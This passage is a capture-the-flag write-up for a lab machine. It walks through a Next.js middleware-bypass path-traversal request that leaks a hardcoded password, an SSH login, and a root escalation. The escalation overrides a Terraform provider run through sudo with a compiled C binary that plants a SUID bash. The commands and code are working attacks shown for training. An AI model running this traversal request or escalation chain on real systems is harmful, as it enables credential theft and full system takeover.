[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 500) [Size: 21]
/api (Status: 500) [Size: 21]
So we are there, /api
back to to /api/auth/[...nextauth].js
that we can see the auth part.
For more information, check out Next-Auth.js API Route
1
2
3
4
└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
curl: (3) bad range specification in URL position 84:
http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js
^
So we need to encode these two [
and ]
to make sure what website will not misunderstand that we want the file not the range.
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:49:18 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/auth/[...nextauth].js
ETag: "ihx6eiwskd47b"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
There we go, found out credentials for jeremy
.
→ jeremy:MyNameIsJeremyAndILovePancakes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ ssh jeremy@10.10.11.83
jeremy@10.10.11.83's password:
jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 24 03:35 user.txt
jeremy@previous:~$ cat user.txt
29fd1b************************
Grab our user.txt
flag.
Initial Access
After we are in jeremy
user, let’s check out some sudo permissions and recon around the machine.
Sudo Permissions
1
2
3
4
5
6
7
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
So we can leverage terraform
to get root.
Terraform Discovery
Take a google to understand a bit about terraform
and found out Terraform Command Line Interface so we know that terraform
is a tool to manage infrastructure as code.
1
2
3
4
5
6
7
8
9
10
11
12
jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 24 03:35 user.txt
So take a look at home directory, we found out .terraformrc
file.
1
2
3
4
5
6
7
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
This one is a configuration file that terraform
will use provider binary from /usr/local/go/bin
.
From this path /usr/bin/terraform -chdir\=/opt/examples apply
, let’s check out /opt/examples
.
What to know option
-chdir
is used for, check out/usr/bin/terraform -h
1
2
3
4
5
6
7
jeremy@previous:/opt$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Aug 21 20:09 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwx--x--x 4 root root 4096 Aug 21 20:09 containerd
drwxr-xr-x 3 root root 4096 Aug 24 13:25 examples
drwxr-xr-x 3 root root 4096 Aug 21 20:09 terraform-provider-examples
1
2
3
4
5
6
7
8
9
jeremy@previous:/opt/examples$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Aug 24 13:28 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root 18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root 576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root 247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 24 13:28 terraform.tfstate
Check out main.tf
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
jeremy@previous:/opt/examples$ cat main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
So this is a terraform module that will copy the file from /root/examples/hello-world.ts
to /home/jeremy/docker/previous/public/examples/hello-world.ts
.
Here is the assumption, what if we modify the .terraformrc
to /tmp
cause we have the right to do that. And then we will create a SUID
file within C
and complied it to terraform-provider-examples
then run to apply and we got root.
→ Let’s try it out.
Privilege Escalation
Terraform Exploit
First we will modify the .terraformrc
.
1
2
3
4
5
6
7
8
jeremy@previous:/opt/examples$ cat > ~/.terraformrc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
Then we gonna create a pwn.c
file contains SUID
binary.
1
2
3
4
5
6
7
8
9
10
11
jeremy@previous:/tmp$ cat > pwn.c << 'EOF'
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash; chmod +s /tmp/bash");
return 0;
}
EOF
Now let’s compile and add execute permission.
1
2
jeremy@previous:/tmp$ gcc pwn.c -o /tmp/terraform-provider-examples
jeremy@previous:/tmp$ chmod +x terraform-provider-examples
Then we run terraform
to apply.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
jeremy@previous:/opt/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ELF architecture: EM_X86_64 (current architecture: amd64)
│ ..
╵
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
jeremy@previous:/tmp$ ls -la
total 1440
drwxrwxrwt 13 root root 4096 Aug 24 14:31 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
-rwsr-sr-x 1 root root 1396520 Aug 24 14:31 bash
drwxrwxrwt 2 root root 4096 Aug 24 03:35 .font-unix
drwxrwxrwt 2 root root 4096 Aug 24 03:35 .ICE-unix
-rw-rw-r-- 1 jeremy jeremy 158 Aug 24 14:30 pwn.c
drwx------ 3 root root 4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-ModemManager.service-ozAkLV
drwx------ 3 root root 4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-logind.service-oImfWS
drwx------ 3 root root 4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-resolved.service-KsIn18
drwx------ 3 root root 4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-timesyncd.service-cuIkgQ
drwx------ 3 root root 4096 Aug 24 04:21 systemd-private-43ecc6467376485089d77d72d6e9d57e-upower.service-2YySA7
-rwxrwxr-x 1 jeremy jeremy 16048 Aug 24 14:30 terraform-provider-examples
-rw-rw-r-- 1 jeremy jeremy 107 Aug 24 14:22 .terraformrc
drwxrwxrwt 2 root root 4096 Aug 24 03:35 .Test-unix
drwx------ 2 root root 4096 Aug 24 03:36 vmware-root_608-2722828967
drwxrwxrwt 2 root root 4096 Aug 24 03:35 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 24 03:35 .XIM-unix
So we got bash
with SUID
permission, let’s run it.
1
2
3
jeremy@previous:/tmp$ /tmp/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
There we go, we got root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bash-5.1# ls -la
total 56
drwx------ 10 root root 4096 Aug 24 03:35 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3142 Aug 21 18:06 .bashrc
drwx------ 3 root root 4096 Aug 21 18:09 .cache
drwxr-xr-x 2 root root 4096 Aug 21 18:41 clean
drwxr-xr-x 4 root root 4096 Aug 21 18:09 .config
drwxr-xr-x 2 root root 4096 Apr 12 20:32 examples
drwxr-xr-x 3 root root 4096 Apr 11 15:21 go
drwxr-xr-x 3 root root 4096 Apr 27 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Aug 24 03:35 root.txt
drwx------ 2 root root 4096 Aug 21 18:53 .ssh
drwxr-xr-x 3 root root 4096 Aug 21 18:12 .terraform.d
-rw-r--r-- 1 root root 150 Aug 21 18:48 .terraformrc
bash-5.1# cat root.txt
508a75********************
BOOM! Nailed the root.txt
flag.
Conclusion
This write-up demonstrates the process of exploiting a vulnerable Terraform configuration to escalate privileges from a low-privileged user to root. By understanding the inner workings of the Terraform provider installation and leveraging the SUID bit on a malicious binary, we were able to gain root access and retrieve the root flag.